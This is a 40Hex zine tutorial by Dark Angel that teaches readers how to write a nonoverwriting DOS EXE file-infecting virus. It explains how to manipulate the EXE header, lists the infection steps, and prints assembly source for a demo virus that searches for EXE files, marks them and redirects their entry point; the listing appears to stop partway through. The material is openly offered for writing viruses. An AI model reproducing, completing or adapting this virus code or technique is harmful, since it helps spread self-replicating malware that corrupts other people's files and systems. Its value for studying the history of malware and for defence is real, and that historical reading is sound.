���������������������������������������
An Introduction to Nonoverwriting Virii
Part II: EXE Infectors
By Dark Angel
���������������������������������������
In the last issue of 40Hex, I presented theory and code for the
nonoverwriting COM infector, the simplest of all parasitic virii.
Hopefully, having learned COM infections cold, you are now ready for EXE
infections. There is a grey veil covering the technique of EXE infections,
as the majority of virii are COM-only.
EXE infections are, in some respects, simpler than COM viruses.
However, to understand the infection, you must understand the structure of
EXE files (naturally). EXE files are structured into segments which are
loaded consecutively atop one another. Thus, all an EXE infector must do
is create its own segment in the EXE file and alter the entry point
appropriately. Therefore, EXE infections do not require restoration of
bytes of code, but rather involve the manipulation of the header which
appears in the beginning every EXE file and the appending of viral code to
the infected file. The format of the header follows:
Offset Description
00 ID word, either 'MZ' or 'ZM'
02 Number of bytes in the last (512 byte) page in the image
04 Total number of 512 byte pages in the file
06 Number of entries in the segment table
08 Size of the header in (16 byte) paragraphs
0A Minimum memory required in paragraphs
0C Maximum memory requested in paragraphs
0E Initial offset in paragraphs to stack segment from header
10 Initial offset in bytes of stack pointer from stack segment
12 Negative checksum (ignored)
14 Initial offset in bytes of instruction pointer from code segment
16 Initial offset in paragraphs of code segment from header
18 Offset of relocation table from start of file
1A Overlay number (ignored)
The ID word is generally 'ZM' (in the Intel little-endian format). Few
files start with the alternate form, 'MZ' (once again in Intel little-
endian format). To save space, a check for the alternate form of the EXE
ID in the virus may be omitted, although a few files may be corrupted due
to this omission.
The words at offsets 2 and 4 are related. The word at offset 4 contains
the filesize in pages. A page is a 512 byte chunk of memory, just as a
word is a two byte chunk of memory. This number is rounded up, so a file
of length 514 bytes would contain a 2 at offset 4 in the EXE header. The
word at offset 2 is the image length modulo 512. The image length does not
include the header length. This is one of the bizarre quirks of the EXE
header. Since the header length is usually a multiple of 512 anyway, this
quirk usually does not matter. If the word at offset 2 is equal to four,
then it is generally ignored (heck, it's never really used anyway) since
pre-1.10 versions of the Microsoft linker had a bug which caused the word
to always be equal to four. If you are bold, the virus can set this word
to 4. However, keep in mind that this was a bug of the linker and not all
command interpreters may recognise this quirk.
The minimum memory required by the program (offset A) can be ignored by the
virus, as the maximum memory is generally allocated to the program by the
operating system. However, once again, ignoring this area of the header
MAY cause an unsucessful infection. Simply adding the virus size in
paragraphs to this value can nullify the problem.
The words representing the initial stack segment and pointer are reversed
(not in little-endian format). In other words, an LES to this location
will yield the stack pointer in ES and the stack segment in another
register. The initial SS:SP is calculated with the base address of
0000:0000 being at the end of the header.
Similarly, the initial CS:IP (in little-endian format) is calculated with
the base address of 0000:0000 at the end of the header. For example, if
the program entry point appears directly after the header, then the CS:IP
would be 0000:0000. When the program is loaded, the PSP+10 is added to the
segment value (the extra 10 accounts for the 100h bytes of the PSP).
All the relevant portions of the EXE header have been covered. So what
should be done to write a nonoverwriting EXE infector? First, the virus
must be appended to the end of the file. Second, the initial CS:IP must be
saved and subsequently changed in the header. Third, the initial SS:SP
should also be saved and changed. This is to avoid any possible memory
conflicts from the stack overwriting viral code. Fourth, the file size
area of the header should be modified to correctly reflect the new size of
the file. Fifth, any additional safety modifications such as increasing
the minimum memory allocation should be made. Last, the header should be
written to the infected file.
There are several good areas for ID bytes in the EXE header. The first is
in the stack pointer field. Since it should be changed anyway, changing it
to a predictable number would add nothing to the code length. Make sure,
however, to make the stack pointer high enough to prevent code overwrites.
Another common area for ID bytes is in the negative checksum field. Since
it is an unused field, altering it won't affect the execution of any
programs.
One further item should be mentioned before the code for the EXE infector.
It is important to remember that EXE files are loaded differently than COM
files. Although a PSP is still built, the initial CS does NOT point to it.
Instead, it points to wherever the entry point happens to be. DS and ES
point to the PSP, and therefore do NOT point to the entry point (your virus
code). It is important to restore DS and ES to their proper values before
returning control to the EXE.
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ; ID word for EXE infections
startvirus: ; virus code starts here
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+exe_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
Take special notice of the done_infections and infect_exe procedures. They
handle all the relevant portions of the EXE infection. The restoration of
the EXE file simply consists of resetting the stack and a far jmp to the
original entry point.
A final note on EXE infections: it is often helpful to "pad" EXE files to
the nearest segment. This accomplishes two things. First, the initial IP
is always 0, a fact which can be used to eliminate delta offset
calculations. Code space can be saved by replacing all those annoying
relative memory addressing statements ([bp+offset blip]) statements with
their absolute counterparts (blip). Second, recalculation of header info
can be handled in paragraphs, simplifying it tremendously. The code for
this is left as an exercise for the reader.
This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
yet to figure out how to write EXE infectors). Hopefully, this text can
teach them (and everyone else) how to progress beyond simple COM and spawn-
ing EXE infectors. In the next issue of 40Hex, I will present the theory
and code for the next step of file infector - the coveted SYS file.
